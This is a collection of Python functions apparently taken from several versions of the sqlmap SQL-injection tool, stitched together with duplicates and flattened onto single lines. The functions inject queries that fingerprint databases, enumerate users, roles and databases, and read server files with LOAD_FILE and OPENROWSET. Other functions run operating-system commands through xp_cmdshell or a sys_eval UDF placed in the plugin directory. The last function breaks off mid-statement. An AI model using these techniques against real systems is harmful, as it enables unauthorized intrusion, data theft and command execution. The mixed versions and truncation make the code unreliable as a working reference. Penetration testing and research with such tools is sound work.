def getBanner(self): if not conf.getBanner: return if kb.data.banner is None: infoMsg = "fetching banner" logger.info(infoMsg) if Backend.isDbms(DBMS.DB2): rootQuery = queries[DBMS.DB2].banner for query in (rootQuery.query, rootQuery.query2): kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) if kb.data.banner: break else: query = queries[Backend.getIdentifiedDbms()].banner.query kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) bannerParser(kb.data.banner) if conf.os and conf.os == "windows": kb.bannerFp["type"] = set(["Windows"]) elif conf.os and conf.os == "linux": kb.bannerFp["type"] = set(["Linux"]) elif conf.os: kb.bannerFp["type"] = set(["%s%s" % (conf.os[0].upper(), conf.os[1:])]) if conf.os: setOs() return kb.data.banner
def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].users condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008"))) condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if condition: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedUsers = [] for value in arrayizeValue(values): value = unArrayizeValue(value) if not isNoneValue(value): kb.data.cachedUsers.append(value) if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database users" logger.info(infoMsg) if condition: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: return kb.data.cachedUsers elif not isNumPosStrValue(count): errMsg = "unable to retrieve the number of database users" raise SqlmapNoneDataException(errMsg) plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") elif condition: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index user = unArrayizeValue(inject.getValue(query, union=False, error=False)) if user: kb.data.cachedUsers.append(user) if not kb.data.cachedUsers: errMsg = "unable to retrieve the database users" logger.error(errMsg) return kb.data.cachedUsers
def xpCmdshellEvalCmd(self, cmd, first=None, last=None): if conf.direct: output = self.xpCmdshellExecCmd(cmd) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: if line == "NULL": new_output += "\n" else: new_output += "%s\n" % line.strip("\r") output = new_output else: inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct: output = inject.getValue(query, resumeValue=False, blind=False) else: output = [] count = inject.getValue("SELECT COUNT(*) FROM %s" % self.cmdTblName, resumeValue=False, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): for index in getLimitRange(count): query = agent.limitQuery(index, query, self.tblField) output.append(inject.getValue(query, inband=False, error=False, resumeValue=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isListLike(output) and len(output) > 1: if not output[0].strip(): output = output[1:] elif not output[-1].strip(): output = output[:-1] return output
def xpCmdshellEvalCmd(self, cmd, first=None, last=None): if conf.direct: output = self.xpCmdshellExecCmd(cmd) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: if line == "NULL": new_output += "\n" else: new_output += "%s\n" % line.strip("\r") output = new_output else: inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) # When user provides DBMS credentials (with --dbms-cred), the # command standard output is redirected to a temporary file # The file needs to be copied to the support table, # 'sqlmapoutput' if conf.dbmsCred: inject.goStacked( "BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10)) ) self.delRemoteFile(self.tmpFile) query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName) if conf.direct or any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)): output = inject.getValue(query, resumeValue=False, blind=False, time=False) else: output = [] count = inject.getValue( "SELECT COUNT(*) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS, ) if isNumPosStrValue(count): for index in getLimitRange(count): query = agent.limitQuery(index, query, self.tblField) output.append(inject.getValue(query, union=False, error=False, resumeValue=False)) inject.goStacked("DELETE FROM %s" % self.cmdTblName) if output and isListLike(output) and len(output) > 1: if not (output[0] or "").strip(): output = output[1:] elif not (output[-1] or "").strip(): output = output[:-1] output = "\n".join(line for line in filter(None, output)) return output
def getDbs(self): if kb.dbms == "MySQL" and not self.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) infoMsg = "fetching database names" logger.info(infoMsg) rootQuery = queries[kb.dbms].dbs if conf.unionUse: if kb.dbms == "MySQL" and not self.has_information_schema: query = rootQuery["inband"]["query2"] else: query = rootQuery["inband"]["query"] value = inject.getValue(query, blind=False) if value: self.cachedDbs = value if not self.cachedDbs: infoMsg = "fetching number of databases" logger.info(infoMsg) if kb.dbms == "MySQL" and not self.has_information_schema: query = rootQuery["blind"]["count2"] else: query = rootQuery["blind"]["count"] count = inject.getValue(query, inband=False, expected="int") if not count.isdigit() or not len(count) or count == "0": errMsg = "unable to retrieve the number of databases" raise sqlmapNoneDataException, errMsg indexRange = getRange(count) for index in indexRange: if kb.dbms == "MySQL" and not self.has_information_schema: query = rootQuery["blind"]["query2"] % index else: query = rootQuery["blind"]["query"] % index db = inject.getValue(query, inband=False) if db: self.cachedDbs.append(db) if not self.cachedDbs: errMsg = "unable to retrieve the database names" raise sqlmapNoneDataException, errMsg return self.cachedDbs
def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[kb.dbms].users condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) ) condition |= ( kb.dbms == "MySQL" and not self.has_information_schema ) if conf.unionUse: if condition: query = rootQuery["inband"]["query2"] else: query = rootQuery["inband"]["query"] value = inject.getValue(query, blind=False) if value: self.cachedUsers = value if not self.cachedUsers: infoMsg = "fetching number of database users" logger.info(infoMsg) if condition: query = rootQuery["blind"]["count2"] else: query = rootQuery["blind"]["count"] count = inject.getValue(query, inband=False, expected="int") if not count.isdigit() or not len(count) or count == "0": errMsg = "unable to retrieve the number of database users" raise sqlmapNoneDataException, errMsg indexRange = getRange(count) for index in indexRange: if condition: query = rootQuery["blind"]["query2"] % index else: query = rootQuery["blind"]["query"] % index user = inject.getValue(query, inband=False) if user: self.cachedUsers.append(user) if not self.cachedUsers: errMsg = "unable to retrieve the database users" raise sqlmapNoneDataException, errMsg return self.cachedUsers
def checkDbms(self): if conf.dbms in ORACLE_ALIASES: setDbms("Oracle") self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1") if not conf.extensiveFp: return True logMsg = "testing Oracle" logger.info(logMsg) query = "LENGTH(SYSDATE)" sysdate = inject.getValue(query) if sysdate and int(sysdate) > 0: logMsg = "confirming Oracle" logger.info(logMsg) query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1" version = inject.getValue(query) if not version: warnMsg = "the back-end DMBS is not Oracle" logger.warn(warnMsg) return False setDbms("Oracle") self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1") if not conf.extensiveFp: return True if re.search("^11", version): kb.dbmsVersion = ["11i"] elif re.search("^10", version): kb.dbmsVersion = ["10g"] elif re.search("^9", version): kb.dbmsVersion = ["9i"] elif re.search("^8", version): kb.dbmsVersion = ["8i"] return True else: warnMsg = "the back-end DMBS is not Oracle" logger.warn(warnMsg) return False
def udfSetRemotePath(self): self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] if banVer >= "5.0.67": if self.__plugindir is None: logger.info("retrieving MySQL plugin directory absolute path") self.__plugindir = unArrayizeValue(inject.getValue("SELECT @@plugin_dir")) # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 if self.__plugindir is None and banVer >= "5.1.19": logger.info("retrieving MySQL base directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir")) if isWindowsDriveLetterPath(self.__basedir or ""): Backend.setOs(OS.WINDOWS) else: Backend.setOs(OS.LINUX) # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin if Backend.isOs(OS.WINDOWS): self.__plugindir = "%s/lib/plugin" % self.__basedir else: self.__plugindir = "%s/lib/mysql/plugin" % self.__basedir self.__plugindir = ntToPosixSlashes(normalizePath(self.__plugindir)) or '.' self.udfRemoteFile = "%s/%s.%s" % (self.__plugindir, self.udfSharedLibName, self.udfSharedLibExt) # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file else: #logger.debug("retrieving MySQL data directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir #self.__datadir = inject.getValue("SELECT @@datadir") # NOTE: specifying the relative path as './udf.dll' # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 self.__datadir = '.' self.__datadir = ntToPosixSlashes(normalizePath(self.__datadir)) # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, # C:\WINDOWS\system32, @@basedir\bin or @@datadir self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
def _tableGetCount(self, db, table): if not db or not table: return None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): db = db.upper() table = table.upper() if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = "SELECT %s FROM %s" % ( queries[Backend.getIdentifiedDbms()].count.query % "*", safeSQLIdentificatorNaming(table, True), ) else: query = "SELECT %s FROM %s.%s" % ( queries[Backend.getIdentifiedDbms()].count.query % "*", safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True), ) count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {} if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append( safeSQLIdentificatorNaming(table, True) ) else: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [ safeSQLIdentificatorNaming(table, True) ]
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \ or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.SYBASE logger.info(infoMsg) if conf.direct: result = True else: result = inject.checkBooleanExpression("@@transtate=@@transtate") if result: infoMsg = "confirming %s" % DBMS.SYBASE logger.info(infoMsg) result = inject.checkBooleanExpression("suser_id()=suser_id()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False setDbms(DBMS.SYBASE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.SYBASE logger.info(infoMsg) result = unArrayizeValue(inject.getValue("SUBSTRING(@@VERSION,1,1)")) if result and result.isdigit(): Backend.setVersion(str(result)) else: for version in xrange(12, 16): result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) if result: Backend.setVersion(str(version)) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False
def unionReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile) return result
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None): if udfName is None: udfName = "sys_eval" if conf.direct: output = self.udfExecCmd(cmd, udfName=udfName) if output and isinstance(output, (list, tuple)): new_output = "" for line in output: new_output += line.replace("\r", "\n") output = new_output else: cmd = unescaper.escape(self.udfForgeCmd(cmd)) inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd)) output = unArrayizeValue( inject.getValue( "SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False, ) ) inject.goStacked("DELETE FROM %s" % self.cmdTblName) return output
def _tableGetCount(self, db, table): if Backend.isDbms(DBMS.DB2): query = "SELECT %s FROM %s.%s--" % ( queries[Backend.getIdentifiedDbms()].count.query % "*", safeSQLIdentificatorNaming(db.upper()), safeSQLIdentificatorNaming(table.upper(), True), ) else: query = "SELECT %s FROM %s.%s" % ( queries[Backend.getIdentifiedDbms()].count.query % "*", safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True), ) count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {} if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append( safeSQLIdentificatorNaming(table, True) ) else: kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [ safeSQLIdentificatorNaming(table, True) ]
def getVersionFromBanner(self): if "dbmsVersion" in kb.bannerFp: return infoMsg = "detecting back-end DBMS version from its banner" logger.info(infoMsg) if kb.dbms == DBMS.MYSQL: first, last = 1, 6 elif kb.dbms == DBMS.POSTGRESQL: first, last = 12, 6 elif kb.dbms == DBMS.MSSQL: first, last = 29, 9 else: raise sqlmapUnsupportedFeatureException, "unsupported DBMS" query = queries[kb.dbms].substring.query % (queries[kb.dbms].banner.query, first, last) if conf.direct: query = "SELECT %s" % query kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False) kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
def nonStackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) return result
def getVersionFromBanner(self): if "dbmsVersion" in kb.bannerFp: return infoMsg = "detecting back-end DBMS version from its banner" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL): first, last = 1, 6 elif Backend.isDbms(DBMS.PGSQL): first, last = 12, 6 elif Backend.isDbms(DBMS.MSSQL): first, last = 29, 9 else: raise SqlmapUnsupportedFeatureException("unsupported DBMS") query = queries[Backend.getIdentifiedDbms()].substring.query % (queries[Backend.getIdentifiedDbms()].banner.query, first, last) if conf.direct: query = "SELECT %s" % query kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query)) kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(",", "").replace("-", "").replace(" ", "")
def _(pivotValue): if column == colList[0]: query = dumpNode.query.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False)) else: query = dumpNode.query2.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False)) return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind))
def getRemoteTempPath(self): if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL): _ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False)) if _: conf.tmpPath = ntpath.dirname(_) if not conf.tmpPath: if Backend.isOs(OS.WINDOWS): if conf.direct: conf.tmpPath = "%TEMP%" else: self.checkDbmsOs(detailed=True) if Backend.getOsVersion() in ("2000", "NT"): conf.tmpPath = "C:/WINNT/Temp" elif Backend.isOs("XP"): conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp" else: conf.tmpPath = "C:/Windows/Temp" else: conf.tmpPath = "/tmp" if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I): Backend.setOs(OS.WINDOWS) conf.tmpPath = normalizePath(conf.tmpPath) conf.tmpPath = ntToPosixSlashes(conf.tmpPath) hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath) return conf.tmpPath
def checkDbmsOs(self, detailed=False): if kb.os: return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) # Windows executables should always have ' Visual C++' or ' mingw' # patterns within the banner osWindows = ( " Visual C++", "mingw" ) for osPattern in osWindows: query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%" + osPattern + "%')>0" query = agent.forgeCaseStatement(query) if inject.getValue(query, charsetType=1, suppressOutput=True) == "1": kb.os = "Windows" break if kb.os is None: kb.os = "Linux" infoMsg = "the back-end DBMS operating system is %s" % kb.os logger.info(infoMsg) self.cleanup(onlyFileTbl=True)
def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.getRemoteTempPath() tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile)) debugMsg = "loading the content of hexadecimal encoded file " debugMsg += "'%s' into support table" % rFile logger.debug(debugMsg) inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(length): warnMsg = "unable to retrieve the content of the " warnMsg += "file '%s'" % rFile if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): warnMsg += ", going to fall-back to simpler UNION technique" logger.warn(warnMsg) result = self.nonStackedReadFile(rFile) else: raise SqlmapNoneDataException(warnMsg) else: length = int(length) sustrLen = 1024 if length > sustrLen: result = [] for i in xrange(1, length, sustrLen): chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) return result
def _checkFileLength(self, localFile, remoteFile, fileRead=False): if Backend.isDbms(DBMS.MYSQL): lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") inject.goStacked( "INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField) ) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) try: localFileSize = os.path.getsize(localFile) except OSError: warnMsg = "file '%s' is missing" % localFile logger.warn(warnMsg) localFileSize = 0 if fileRead and Backend.isDbms(DBMS.PGSQL): logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile) sameFile = True else: logger.debug("checking the length of the remote file '%s'" % remoteFile) remoteFileSize = inject.getValue( lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS ) sameFile = None if isNumPosStrValue(remoteFileSize): remoteFileSize = long(remoteFileSize) localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding()) sameFile = False if localFileSize == remoteFileSize: sameFile = True infoMsg = "the local file '%s' and the remote file " % localFile infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize) elif remoteFileSize > localFileSize: infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize) infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize) else: infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize) infoMsg += "file '%s' (%d B)" % (localFile, localFileSize) logger.info(infoMsg) else: sameFile = False warnMsg = "it looks like the file has not been written (usually " warnMsg += "occurs if the DBMS process user has no write " warnMsg += "privileges in the destination path)" logger.warn(warnMsg) return sameFile
def getCurrentDb(self): infoMsg = "fetching current database" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].current_db.query if not kb.data.currentDb: kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) return kb.data.currentDb
def __checkExistUdf(self, udf): logger.info("checking if UDF '%s' already exist" % udf) query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf)) exists = inject.getValue(query, resumeValue=False, unpack=False, charsetType=2) if exists == "1": return True else: return False
def getCurrentUser(self): infoMsg = "fetching current user" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].current_user.query if not kb.data.currentUser: kb.data.currentUser = unArrayizeValue(inject.getValue(query)) return kb.data.currentUser
def getHostname(self): infoMsg = "fetching server hostname" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].hostname.query if not kb.data.hostname: kb.data.hostname = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) return kb.data.hostname
def __checkExistUdf(self, udf): logger.info("checking if UDF '%s' already exist" % udf) query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf)) exists = inject.getValue(query, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if exists == "1": return True else: return False
def getRoles(self, query2=False): infoMsg = "fetching database users roles" rootQuery = queries[DBMS.ORACLE].roles if conf.user == CURRENT_USER: infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) # Set containing the list of DBMS administrators areAdmins = set() if any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: users = conf.user.split(',') query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) values = inject.getValue(query, blind=False, time=False) if not values and not query2: infoMsg = "trying with table 'USER_ROLE_PRIVS'" logger.info(infoMsg) return self.getRoles(query2=True) if not isNoneValue(values): for value in values: user = None roles = set() for count in xrange(0, len(value or [])): # The first column is always the username if count == 0: user = value[count] # The other columns are the roles else: role = value[count] # In Oracle we get the list of roles as string roles.add(role) if user in kb.data.cachedUsersRoles: kb.data.cachedUsersRoles[user] = list( roles.union(kb.data.cachedUsersRoles[user])) else: kb.data.cachedUsersRoles[user] = list(roles) if not kb.data.cachedUsersRoles and isInferenceAvailable( ) and not conf.direct: if conf.user: users = conf.user.split(',') else: if not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers retrievedUsers = set() for user in users: unescapedUser = None if user in retrievedUsers: continue infoMsg = "fetching number of roles " infoMsg += "for user '%s'" % user logger.info(infoMsg) if unescapedUser: queryUser = unescapedUser else: queryUser = user if query2: query = rootQuery.blind.count2 % queryUser else: query = rootQuery.blind.count % queryUser count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if count != 0 and not query2: infoMsg = "trying with table 'USER_SYS_PRIVS'" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "roles for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching roles for user '%s'" % user logger.info(infoMsg) roles = set() indexRange = getLimitRange(count, plusOne=True) for index in indexRange: if query2: query = rootQuery.blind.query2 % (queryUser, index) else: query = rootQuery.blind.query % (queryUser, index) role = inject.getValue(query, union=False, error=False) # In Oracle we get the list of roles as string roles.add(role) if roles: kb.data.cachedUsersRoles[user] = list(roles) else: warnMsg = "unable to retrieve the roles " warnMsg += "for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersRoles: errMsg = "unable to retrieve the roles " errMsg += "for the database users" raise SqlmapNoneDataException(errMsg) for user, privileges in kb.data.cachedUsersRoles.items(): if isAdminFromPrivileges(privileges): areAdmins.add(user) return kb.data.cachedUsersRoles, areAdmins
def checkDbms(self): """ References for fingerprint: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html """ if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): setDbms("MySQL %s" % kb.dbmsVersion[0]) if int(kb.dbmsVersion[0]) >= 5: self.has_information_schema = True self.getPrematureBanner("VERSION()") if not conf.extensiveFp: return True logMsg = "testing MySQL" logger.info(logMsg) randInt = str(randomInt(1)) query = "CONCAT('%s', '%s')" % (randInt, randInt) if inject.getValue(query) == (randInt * 2): logMsg = "confirming MySQL" logger.info(logMsg) query = "LENGTH('%s')" % randInt if not inject.getValue(query) == "1": warnMsg = "the back-end DMBS is not MySQL" logger.warn(warnMsg) return False # Determine if it is MySQL >= 5.0.0 if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt) == randInt: setDbms("MySQL 5") self.has_information_schema = True self.getPrematureBanner("VERSION()") if not conf.extensiveFp: kb.dbmsVersion = [">= 5.0.0"] return True # Check if it is MySQL >= 6.0.3 if inject.getValue("SELECT %s FROM information_schema.PARAMETERS LIMIT 0, 1" % randInt) == randInt: if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt: kb.dbmsVersion = [">= 6.0.5"] else: kb.dbmsVersion = [">= 6.0.3", "< 6.0.5"] # Or if it MySQL >= 5.1.2 and < 6.0.3 elif inject.getValue("MID(@@plugin_dir, 1, 1)"): if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt: kb.dbmsVersion = [">= 5.1.28", "< 6.0.3"] elif inject.getValue("MID(@@innodb_stats_on_metadata, 1, 1)"): kb.dbmsVersion = [">= 5.1.17", "< 5.1.28"] elif inject.getValue("SELECT %s FROM information_schema.REFERENTIAL_CONSTRAINTS LIMIT 0, 1" % randInt) == randInt: kb.dbmsVersion = [">= 5.1.10", "< 5.1.17"] elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt: kb.dbmsVersion = [">= 5.1.7", "< 5.1.10"] elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt) == randInt: kb.dbmsVersion = ["= 5.1.6"] elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt) == randInt: kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"] elif inject.getValue("MID(@@table_open_cache, 1, 1)"): kb.dbmsVersion = [">= 5.1.3", "< 5.1.5"] else: kb.dbmsVersion = ["= 5.1.2"] # Or if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.getValue("MID(@@hostname, 1, 1)"): kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"] elif inject.getValue("SELECT 1 FROM DUAL") == "1": kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"] elif inject.getValue("DATABASE() LIKE SCHEMA()"): kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"] else: kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"] # Otherwise assume it is MySQL < 5.0.0 else: setDbms("MySQL 4") kb.dbmsVersion = ["< 5.0.0"] self.getPrematureBanner("VERSION()") if not conf.extensiveFp: return True # Check which version of MySQL < 5.0.0 it is coercibility = inject.getValue("COERCIBILITY(USER())") if coercibility == "3": kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"] elif coercibility == "2": kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"] elif inject.getValue("CURRENT_USER()"): 